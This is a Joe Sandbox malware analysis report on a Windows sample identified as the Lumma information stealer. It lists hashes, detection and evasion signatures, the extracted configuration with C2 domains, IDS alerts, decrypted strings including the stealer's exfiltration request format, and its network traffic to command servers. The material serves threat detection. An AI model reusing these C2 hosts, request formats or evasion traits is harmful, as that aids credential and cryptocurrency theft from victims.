Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528371
MD5:	5d0beee43c279e20df593c949090fa0a
SHA1:	59ef176b2a0d1b8e54ab13f8a0e447104645b850
SHA256:	c6c522da27129bc6298ff5286c6c271a7b7bf6ae7376cf7c4fc84dba2dfb8ca0
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3040 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5D0BEEE43C279E20DF593C949090FA0A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["studennotediw.stor", "eaglepawnoy.stor", "spirittunek.stor", "mobbipenju.stor", "dissapoiznw.stor", "bathdoomgaz.stor", "clearancek.site", "licendfilteo.site"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:08.691517+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49713	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:08.691517+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49713	104.21.53.8	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:06.475159+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	56178	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:06.395836+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	61074	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:06.450019+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	50478	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:06.436400+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	59587	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:06.499407+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	49546	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:06.422416+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	63703	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:06.487153+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	55214	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:06.462444+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	49861	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware

Found malware configuration

Source: file.exe.3040.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["studennotediw.stor", "eaglepawnoy.stor", "spirittunek.stor", "mobbipenju.stor", "dissapoiznw.stor", "bathdoomgaz.stor", "clearancek.site", "licendfilteo.site"], "Build id": "4SD0y4--legendaryy"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clearancek.site
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: licendfilteo.site
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: spirittunek.stor
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bathdoomgaz.stor
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: studennotediw.stor
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dissapoiznw.stor
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: eaglepawnoy.stor
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mobbipenju.stor
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clearancek.site
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_003FD110
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_003FD110
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	0_2_004363B8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00435700
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	0_2_0043695B
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_004399D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_003FFCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_00400EEC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	0_2_00434040
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	0_2_003F1000
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00406F91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then dec ebx	0_2_0042F030
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_00436094
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_0041D1E1
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00412260
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [esi], ax	0_2_00412260
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_004042FC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebp, eax	0_2_003FA300
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	0_2_004223E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	0_2_004223E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	0_2_004223E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004223E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	0_2_004223E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	0_2_004223E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	0_2_00431440
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0040D457
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_0041C470
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_0041E40C
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	0_2_0040B410
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	0_2_004364B8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00419510
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	0_2_00437520
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00406536
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	0_2_003F8590
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0042B650
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_0041E66A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	0_2_00437710
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	0_2_004367EF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_0041D7AF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_004128E9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_0040D961
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	0_2_00433920
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_003F49A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	0_2_00434A40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	0_2_003F5A50
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00401A3C
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00401ACD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_00439B60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	0_2_0040DB6F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	0_2_0040DB6F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00403BE2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	0_2_00401BEE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_00420B80
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	0_2_0041EC48
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	0_2_00417C00
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	0_2_0042FC20
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	0_2_0041CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0041CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	0_2_0041CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00439CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	0_2_00439CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_0041AC91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [edx], ax	0_2_0041AC91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	0_2_0041FD10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_0041DD29
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00438D8A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	0_2_0041AE57
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00417E60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00415E70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, ecx	0_2_00404E2A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	0_2_003FBEB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_003F6EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	0_2_00401E93
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	0_2_00406EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00419F62
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0042FF70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	0_2_00437FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00437FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_00435FD6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [edx], 0000h	0_2_0040FFDF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00406F91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_003F8FD0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:63703 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:49546 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:61074 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:56178 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:55214 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:59587 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:49861 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:50478 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49713 -> 104.21.53.8:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: studennotediw.stor
Source: Malware configuration extractor	URLs: eaglepawnoy.stor
Source: Malware configuration extractor	URLs: spirittunek.stor
Source: Malware configuration extractor	URLs: mobbipenju.stor
Source: Malware configuration extractor	URLs: dissapoiznw.stor
Source: Malware configuration extractor	URLs: bathdoomgaz.stor
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: licendfilteo.site

Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.ste equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic;
Source: file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/apiA
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.ecc
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/as
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.a
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.st
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.
Source: file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/publi
